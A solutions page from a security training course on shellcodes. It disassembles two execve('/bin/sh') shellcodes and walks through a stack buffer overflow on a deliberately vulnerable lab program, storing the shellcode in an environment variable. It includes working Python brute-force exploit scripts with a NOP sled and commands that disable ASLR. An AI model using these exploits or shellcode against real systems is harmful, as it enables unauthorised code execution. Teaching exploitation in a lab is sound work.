User Tools

Site Tools


Sidebar

session:solution:08

0x08. Shellcodes (solutions)

Create and disassemble binary shellcodes

We extract the two shellcode byte strings from the given links (1, 2):

$ cat 216.print
\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff
$ cat 827.print 
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

and then we use echo to generate two binary shellcode files:

$ echo -en '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff' > 216.bin
$ echo -en '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' > 827.bin

Afterwards, we disassemble the binary shellcode files:

$ objdump -D -b binary -m i386 -M intel 827.bin 

827.bin:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:	31 c0                	xor    eax,eax
   2:	50                   	push   eax
   3:	68 2f 2f 73 68       	push   0x68732f2f
   8:	68 2f 62 69 6e       	push   0x6e69622f
   d:	89 e3                	mov    ebx,esp
   f:	50                   	push   eax
  10:	53                   	push   ebx
  11:	89 e1                	mov    ecx,esp
  13:	b0 0b                	mov    al,0xb
  15:	cd 80                	int    0x80


$ objdump -D -b binary -m i386 -M intel 216.bin 

216.bin:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:	6a 46                	push   0x46
   2:	58                   	pop    eax
   3:	31 db                	xor    ebx,ebx
   5:	31 c9                	xor    ecx,ecx
   7:	cd 80                	int    0x80
   9:	eb 21                	jmp    0x2c
   b:	5f                   	pop    edi
   c:	6a 0b                	push   0xb
   e:	58                   	pop    eax
   f:	99                   	cdq    
  10:	52                   	push   edx
  11:	66 68 2d 63          	pushw  0x632d
  15:	89 e6                	mov    esi,esp
  17:	52                   	push   edx
  18:	68 2f 2f 73 68       	push   0x68732f2f
  1d:	68 2f 62 69 6e       	push   0x6e69622f
  22:	89 e3                	mov    ebx,esp
  24:	52                   	push   edx
  25:	57                   	push   edi
  26:	56                   	push   esi
  27:	53                   	push   ebx
  28:	89 e1                	mov    ecx,esp
  2a:	cd 80                	int    0x80
  2c:	e8 da ff ff ff       	call   0xb

and we compare the resulting assembly source code to the one in the initial links. We find they are identical conforming we did a proper generation and disassembling of the binary shellcode files.

Call Trampoline

TODO

Exploit with Known Buffer Address

TODO

Brute-Forcing the Buffer Address

TODO

NOP Sled

TODO

Task: Buffer is too small: Use environment variable to store the shellcode

The log file created with script is this. You may use cat over the script file to print it.

We first compile out the source code files:

$ make
cc -m32 -Wall -fno-stack-protector -g   -c -o vuln.o vuln.c
cc -m32 -zexecstack  vuln.o   -o vuln

We want to generate the payload for the shellcode. In order to find it easily in memory, we add 32 A characters at the beginning of the payload. We name the file shellcode_payload

$ perl -e 'print "A"x32,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > shellcode_payload
$ xxd shellcode_payload 
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 31c0 5068 2f2f 7368 682f 6269 6e89 e350  1.Ph//shh/bin..P
00000030: 5389 e131 d2b0 0bcd 80                   S..1.....

This payload will be the contents of the environment variable where we are going to jump. Let's run the program under GDB with this environment variable defined:

$ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ start
[...]

gdb-peda$ find "AAAAAAAAA" $esp $esp+1000
Searching for 'AAAAAAAAA' in range: 0xbffff240 - 0xbffff628
Found 3 results, display max 3 items:
[stack] : 0xbffff5b7 ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff5c0 ('A' <repeats 23 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff5c9 ('A' <repeats 14 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")

gdb-peda$ show env
SHELLCODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1�Ph//shh/bin��PS��1Ұ

XDG_VTNR=7
ORBIT_SOCKETDIR=/tmp/orbit-razvan

We've found the contents of the variable at address 0xbffff5b7 through the use of the find GDB command. We've double checked the variable using the show env command. In PEDA it's even easier to find a string by using the searchmem command without any range:

gdb-peda$ searchmem AAAAAAAAA
Searching for 'AAAAAAAAA' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0xbffff5b7 ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff5c0 ('A' <repeats 23 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff5c9 ('A' <repeats 14 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")

Moreover, we could have directly looked for environment variables using the environ pointer:

gdb-peda$ x/10s * ((char **) environ)
0xbffff505:	"XDG_VTNR=7"
0xbffff510:	"ORBIT_SOCKETDIR=/tmp/orbit-razvan"
0xbffff532:	"SSH_AGENT_PID=3948"
0xbffff545:	"XDG_SESSION_ID=1"
0xbffff556:	"TERMINATOR_UUID=urn:uuid:40160cae-8752-4a46-adb6-cfa4c53a5bba"
0xbffff594:	"XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/razvan"
0xbffff5c6:	"SHELLCODE=", 'A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀"
0xbffff60a:	"TERM=xterm"
0xbffff615:	"SHELL=/bin/bash"
0xbffff625:	"PT5HOME=/usr/local/PacketTracer5"

The address above is different because we've used a different program run and the values changed.

By removing the padding we find out the address of the shellcode in memory

$ python -c 'print hex(0xbffff5b7+32)'
0xbffff5d7

This (0xbffff5d7) is the address where we have to jump to trigger the execution of the shellcode.

In the same GDB session let's also find out the difference between the start address of the buffer local variable and the address where the function return address is stored:

gdb-peda$ disassemble do_nothing_successfully 
Dump of assembler code for function do_nothing_successfully:
   0x0804847b <+0>:	push   ebp
   0x0804847c <+1>:	mov    ebp,esp
   0x0804847e <+3>:	sub    esp,0x18
   0x08048481 <+6>:	sub    esp,0x8
   0x08048484 <+9>:	push   DWORD PTR [ebp+0x8]
   0x08048487 <+12>:	lea    eax,[ebp-0x10]
   0x0804848a <+15>:	push   eax
   0x0804848b <+16>:	call   0x8048350 <strcpy@plt>
   0x08048490 <+21>:	add    esp,0x10
   0x08048493 <+24>:	movzx  eax,BYTE PTR [ebp-0x10]
   0x08048497 <+28>:	mov    edx,eax
   0x08048499 <+30>:	sar    dl,0x7
   0x0804849c <+33>:	shr    dl,0x5
   0x0804849f <+36>:	add    eax,edx
   0x080484a1 <+38>:	and    eax,0x7
   0x080484a4 <+41>:	sub    eax,edx
   0x080484a6 <+43>:	cmp    al,0x3
   0x080484a8 <+45>:	jne    0x80484ae <do_nothing_successfully+51>
   0x080484aa <+47>:	mov    BYTE PTR [ebp-0x10],0x61
   0x080484ae <+51>:	leave  
   0x080484af <+52>:	ret    
End of assembler dump.
gdb-peda$ b *0x08048497
Breakpoint 2 at 0x8048497: file vuln.c, line 12.
gdb-peda$ c
[...]

Breakpoint 2, 0x08048497 in do_nothing_successfully (str=0xbffff244 "aaaa\n") at vuln.c:12
12		if (buffer[0] % 8 == 3)
gdb-peda$ p &buffer
$3 = (char (*)[8]) 0xbffff218
gdb-peda$ p $ebp+4
$4 = (void *) 0xbffff22c
gdb-peda$

We've used a breakpoint right after the call of strcpy() and we've found out the address of the buffer local variable (0xbffff218) and of the function return address (0xbffff22c). We compute the difference:

$ python -c 'print 0xbffff22c-0xbffff218'
20

So we'll have to create a payload to trigger the attack that consists of 20 bytes of padding (we'll use 20 bytes of A) followed by the address we want to jump to, the address of the shellcode as content of the environment variable (0xbffff5d7).

Let's now create the trigger payload in the file overflow_padding:

$ perl -e 'print "A"x20,"\xd7\xf5\xff\xbf","\n"' > overflow_payload
$ xxd overflow_payload
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 d7f5 ffbf 0a                   AAAA.....

This can now be fed as input to our program and we should end up with a shell in GDB. Let's try it:

$ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ start < overflow_payload
[...]

gdb-peda$ x/20i 0xbffff5d7
   0xbffff5d7:	xor    eax,eax
   0xbffff5d9:	push   eax
   0xbffff5da:	push   0x68732f2f
   0xbffff5df:	push   0x6e69622f
   0xbffff5e4:	mov    ebx,esp
   0xbffff5e6:	push   eax
   0xbffff5e7:	push   ebx
   0xbffff5e8:	mov    ecx,esp
   0xbffff5ea:	xor    edx,edx
   0xbffff5ec:	mov    al,0xb
   0xbffff5ee:	int    0x80
   0xbffff5f0:	add    BYTE PTR [ebx+0x48],dl
   0xbffff5f3:	inc    ebp
   0xbffff5f4:	dec    esp
   0xbffff5f5:	dec    esp
   0xbffff5f6:	cmp    eax,0x6e69622f
   0xbffff5fb:	das    
   0xbffff5fc:	bound  esp,QWORD PTR [ecx+0x73]
   0xbffff5ff:	push   0x52455400
   0xbffff604:	dec    ebp

gdb-peda$ c
Continuing.
process 30574 is executing new program: /bin/dash
[Inferior 1 (process 30574) exited normally]
Warning: not running or target is remote

gdb-peda$

Yes! It works! You can see that we've double checked the placement of the shellcode by disassembling that specific area using x/20i 0xbffff5d7.

Of course, this address only works in GDB, we'll have to make it work in the “real world” as well. First we check whether ASLR is disabled

$ ldd ./vuln
	linux-gate.so.1 (0xb7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0x41000000)
$ ldd ./vuln
	linux-gate.so.1 (0xb7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0x41000000)

As library files are placed in the same location, we conclude ASLR is disabled.

If ASLR would have been enabled, we could have disabled it using either of the two commands below:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
$ linux32 -3 -R bash -l

Let's now see what happened if we ran the program with the current overflow_payload:

$ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln
ps
Segmentation fault

As expected it doesn't work so we'll see what caused the delivery of SIGSEGV:

razvan@einherjar:~/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/shellcode-in-envvar$ dmesg
[212063.796532] show_signal_msg: 300 callbacks suppressed
[212063.796544] vuln[32251]: segfault at 45 ip 00000000bffff5e5 sp 00000000bffff30d error 6

The program failed at EIP 0xbffff5e5. We jumped to the address in the overflow_payload file but it differs in “real world” than in GDB.

We can use a nice trick to identify the address we need to jump to. We can start the program and not provide input to it. $ SHELLCODE=$(cat shellcode_payload) ./vuln </code>

For this part you may check the script log file here.

Now the program expects a form of input. We make use of the fact that the program is blocked and connect to it through GDB on another console:

$ gdb -q -p $(pidof vuln)
Attaching to process 2692
Reading symbols from /home/razvan/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/shellcode-in-envvar/vuln...done.
Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
[...]

gdb-peda$

While in GDB we undertake the same steps we took above to find out the address of the shellcode payload:

gdb-peda$ find "AAAAAAAAAAAAAA" $esp $esp+1000
Searching for 'AAAAAAAAAAAAAA' in range: 0xbffff1d8 - 0xbffff5c0
Found 2 results, display max 2 items:
[stack] : 0xbffff56c ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
[stack] : 0xbffff57a ('A' <repeats 18 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
gdb-peda$

We did it! The address is 0xbffff56c and we'll use that to compute the start of the shellcode:

$ python -c 'print hex(0xbffff56c+32)'
0xbffff58c

The shellcode starts at address 0xbffff58c. We'll now use that address to reconstruct the overflow_payload file:

$ perl -e 'print "A"x20,"\x8c\xf5\xff\xbf","\n"' > overflow_payload

Now that's done, let's try exploiting the program again:

$ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln
ps
  PID TTY          TIME CMD
 5598 pts/7    00:00:00 cat
 5599 pts/7    00:00:00 sh
 5618 pts/7    00:00:00 ps
21165 pts/7    00:00:00 bash

Excellent! It worked! We managed to find the “the real” world address of the shellcode in the environment variable, and we've triggered a jump to it.

Searching for the address

The script log file for this section is this. You may use cat over the file to get the transcript.

Let's now assume we wouldn't have been able to have the program blocked and we couldn't connect with GDB to it and extract the jump address. In that case we would need to search for the location to jump.

To make it easier we would also insert plenty of NOP operations at the beginning of the shellcode payload. If we were to jump to any address inside the NOP-filled area shellcode, we would simply “slide” towards the shellcode; this is also called a NOP sled.

Also we would need to jump to different addresses and try running the executable and see whether we found a correct address. For that we would use a variable and increment with a given offset and retry until we get the shell.

To automate all this process we've created a Python script dubbed exploit.py:

exploit.py
#!/usr/bin/env python
 
import struct
import os
import sys
import subprocess
 
def write_to_file(filename, data):
    f = open(filename, "w")
    f.write(data)
    f.close()
 
nop_padding_len = 128
NOP = "\x90"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
shellcode_payload = NOP*nop_padding_len + shellcode
write_to_file("shellcode_payload", shellcode_payload)
 
# Start from address and create overflow_payload to jump to that address.
# Increment address by step bytes and retry. For each payload launch
# executable through subprocess.call().
step = nop_padding_len / 2
start_address=0xbffff300
 
for offset_index in range(0, 64):
    # Create overflow payload.
    jump_address = start_address + step*offset_index
    overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n"
    write_to_file("overflow_payload", overflow_payload)
 
    # Print address and launch executable.
    print >> sys.stderr, "using address 0x%08x" % (jump_address)
    subprocess.call("cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)

We start from address 0xbffff300 the address we know the stack should be around at the time we call the do_nothing_successfully() function. We increment by 64 bytes the jump address and we construct the overflow_payload file according to that. For the shellcode_payload file we add 128 bytes of padding (using character A). We run the program through subprocess.call().

We execute the exploit.py script and we insert the ps command to find out the address when we are getting a shell:

$ ./exploit.py 
using address 0xbffff300
Segmentation fault
ps
cat: write error: Broken pipe
using address 0xbffff340
Segmentation fault
ps
[...]
using address 0xbfffff80
ps
  PID TTY          TIME CMD
19888 pts/7    00:00:00 bash
20809 pts/7    00:00:00 python
21397 pts/7    00:00:00 sh
21398 pts/7    00:00:00 cat
21399 pts/7    00:00:00 sh
21420 pts/7    00:00:00 ps
ps
  PID TTY          TIME CMD
19888 pts/7    00:00:00 bash
20809 pts/7    00:00:00 python
21397 pts/7    00:00:00 sh
21398 pts/7    00:00:00 cat
21399 pts/7    00:00:00 sh
21453 pts/7    00:00:00 ps
^C

Finally! We found that the address 0xbfffff80 works. However it took quite a lot of key pressing to get to that. It would help if we could do it faster. Let's just feed 64 messages of ps\n to the script:

$ perl -e 'print "ps\n"x64' | ./exploit.py 
[...]
Segmentation fault
using address 0xbfffff00
Segmentation fault
using address 0xbfffff40
Segmentation fault
using address 0xbfffff80
using address 0xbfffffc0
using address 0xc0000000
Segmentation fault
using address 0xc0000040
Segmentation fault
[...]

We don't get anything useful, but what we do get are a couple of addresses (0xbfffff80, 0xbfffffc0) that are not followed by a Segmentation fault message. There are the ones we need. The reason they don't show any output has to do with input buffering and we'll talk about that soon.

Actually, even if we fed /dev/input to the exploit.py script we would get the same result.

$ cat /dev/null | ./exploit.py
[...]
Segmentation fault
using address 0xbfffff00
Segmentation fault
using address 0xbfffff40
Segmentation fault
using address 0xbfffff80
using address 0xbfffffc0
using address 0xc0000000
Segmentation fault
using address 0xc0000040
Segmentation fault
[...]

Now that we know the address we can update the exploit.py script:

exploit-direct.py
#!/usr/bin/env python
 
import struct
import os
import sys
import subprocess
 
def write_to_file(filename, data):
    f = open(filename, "w")
    f.write(data)
    f.close()
 
nop_padding_len = 128
NOP = "\x90"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
shellcode_payload = NOP*nop_padding_len + shellcode
write_to_file("shellcode_payload", shellcode_payload)
 
# Start from address and create overflow_payload to jump to that address.
# Increment address by step bytes and retry. For each payload launch
# executable through os.system().
step = nop_padding_len / 2
start_address=0xbfffff80
 
for offset_index in range(0, 1):
    # Create overflow payload.
    jump_address = start_address + step*offset_index
    overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n"
    write_to_file("overflow_payload", overflow_payload)
 
    # Print address and launch executable.
    print >> sys.stderr, "using address 0x%08x" % (jump_address)
    subprocess.call("cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)

In it's current version the script uses the correct address 0xbfffff80 and triggers a jump to it. If we run it, it will provide the expected outcome: the creation of a shell:

$ ./exploit.py 
using address 0xbfffff80
ps
  PID TTY          TIME CMD
19888 pts/7    00:00:00 bash
23559 pts/7    00:00:00 python
23560 pts/7    00:00:00 sh
23561 pts/7    00:00:00 cat
23562 pts/7    00:00:00 sh
23577 pts/7    00:00:00 ps
ls
Makefile  exploit.py  overflow_payload	shellcode_payload  vuln  vuln.c  vuln.o

Searching for the address with running commands

The script log file for this section is this. You may use cat over the file to get the transcript.

We've seen above that using a series of ps\n commands at the end of the payload didn't provide the expected output from the shell, though it seemed to work.

First, let's restore the overflow_payload file to do an investigation on a running solution:

$ perl -e 'print "A"x20,"\x8c\xf5\xff\xbf","\n"' > overflow_payload
$ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln 
ps
  PID TTY          TIME CMD
  847 pts/7    00:00:00 bash
 1917 pts/7    00:00:00 cat
 1918 pts/7    00:00:00 sh
 1929 pts/7    00:00:00 ps

Let's append a ps string to the payload and pass it to the vulnerable program:

$ cat overflow_payload <(echo "ps") | SHELLCODE=$(cat shellcode_payload) ./vuln 
$

Nothing happens, though the shell should receive the ps command.

Let's investigate using strace on one ps string and the 100 such strings:

$ cat overflow_payload <(echo "ps") | SHELLCODE=$(cat shellcode_payload) strace ./vuln 
[...]
read(0, "AAAAAAAAAAAAAAAAAAAA\214\365\377\277\nps\n", 4096) = 28
--- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=0} ---
+++ killed by SIGSEGV +++
Segmentation fault

$ cat overflow_payload <(perl -e 'print "ps"x100') | SHELLCODE=$(cat shellcode_payload) strace ./vuln 
execve("./vuln", ["./vuln"], [/* 38 vars */]) = 0
[...]
read(0, "AAAAAAAAAAAAAAAAAAAA\214\365\377\277\npspspsp"..., 4096) = 225
--- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=0} ---
+++ killed by SIGSEGV +++
Segmentation fault

From the strace output we've only selected the final read system call. We can now see that there is a singular read system call that reads all the data and then expects something else. When the shell starts the input is simply empty.

We haven't managed to find out the cause of SIGSEGV being delivered when the program is run under strace. We're still investigating.

So our idea is to fill the size of the read buffer (4096, see the third argument of the read system call) and then provide the command. Because the overflow_payload file occupies 25 bytes we need a padding of 4096-25 = 4071 bytes. We add this padding and then the ps string and run the command again:

$ cat overflow_payload <(perl -e 'print "B"x4071,"ps\n"') | SHELLCODE=$(cat shellcode_payload) ./vuln 
  PID TTY          TIME CMD
  847 pts/7    00:00:00 bash
 3640 pts/7    00:00:00 sh
 3644 pts/7    00:00:00 ps

Yes! We've manage to run the ps command after adding the padding.

Let's give up the rather uncomfortable <(…) construct and use files for the padding and for commands

$ perl -e 'print "B"x4071' > padding

$ perl -e 'print "ps\ndf\nls\n"' > commands

$ cat commands 
ps
df
ls

$ cat overflow_payload padding commands |  SHELLCODE=$(cat shellcode_payload) ./vuln
  PID TTY          TIME CMD
  847 pts/7    00:00:01 bash
 5969 pts/7    00:00:00 sh
 5971 pts/7    00:00:00 ps
Filesystem     1K-blocks      Used Available Use% Mounted on
/dev/sda7       38314312  21653240  14691616  60% /
udev               10240         0     10240   0% /dev
tmpfs            1616344     51304   1565040   4% /run
tmpfs            4040856      1204   4039652   1% /dev/shm
tmpfs               5120         4      5116   1% /run/lock
tmpfs            4040856         0   4040856   0% /sys/fs/cgroup
/dev/sda6         944120     97480    781464  12% /boot
/dev/sda8      353556532 316991516  18582296  95% /home
tmpfs             808172         4    808168   1% /run/user/130
tmpfs             808172        32    808140   1% /run/user/1000
Makefile  commands  exploit.py	overflow_payload  padding  shellcode_payload  vuln  vuln.c  vuln.o

This looks better and cleaner. We are using two additional files: padding for storing the padding and commands for storing the commands.

Let's update the exploit.py script to exploit-with-proper-search.py:

exploit-with-proper-search.py
#!/usr/bin/env python
 
import struct
import sys
import subprocess
 
def write_to_file(filename, data):
    f = open(filename, "w")
    f.write(data)
    f.close()
 
nop_padding_len = 128
NOP = "\x90"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
shellcode_payload = NOP*nop_padding_len + shellcode
write_to_file("shellcode_payload", shellcode_payload)
 
# Start from address and create overflow_payload to jump to that address.
# Increment address by step bytes and retry. For each payload launch
# executable through subprocess.call().
step = nop_padding_len / 2
start_address=0xbffff300
 
for offset_index in range(0, 64):
    # Create overflow payload.
    jump_address = start_address + step*offset_index
    overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n"
    write_to_file("overflow_payload", overflow_payload)
 
    # Print address and launch executable.
    print >> sys.stderr, "using address 0x%08x" % (jump_address)
    subprocess.call("cat overflow_payload padding commands | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)

In the script we are now using the two new files to execute commands through the new shell.

Let's see how that works:

$ ./exploit-with-proper-search.py 2>&1 | grep -C 10 PID
Segmentation fault
using address 0xbffffe80
Segmentation fault
using address 0xbffffec0
Segmentation fault
using address 0xbfffff00
Segmentation fault
using address 0xbfffff40
Segmentation fault
using address
  PID TTY          TIME CMD
  847 pts/7    00:00:01 bash
 8343 pts/7    00:00:00 python
 8344 pts/7    00:00:00 grep
 8554 pts/7    00:00:00 sh
 8556 pts/7    00:00:00 sh
 8558 pts/7    00:00:00 ps
Filesystem     1K-blocks      Used Available Use% Mounted on
/dev/sda7       38314312  21653296  14691560  60% /
udev               10240         0     10240   0% /dev
tmpfs            1616344     51304   1565040   4% /run
--
commands
exploit-with-proper-search.py
exploit.py
overflow_payload
padding
shellcode_payload
vuln
vuln.c
vuln.o
using address 0xbfffffc0
  PID TTY          TIME CMD
  847 pts/7    00:00:01 bash
 8343 pts/7    00:00:00 python
 8344 pts/7    00:00:00 grep
 8561 pts/7    00:00:00 sh
 8563 pts/7    00:00:00 sh
 8565 pts/7    00:00:00 ps
Filesystem     1K-blocks      Used Available Use% Mounted on
/dev/sda7       38314312  21653296  14691560  60% /
udev               10240         0     10240   0% /dev
tmpfs            1616344     51304   1565040   4% /run

It works great! We are able to run the commands in the commands file through the newly created shell and we are alos able to detect the address where the shellcode is located: 0xbfffff80.

session/solution/08.txt · Last modified: 2020/07/19 12:49 (external edit)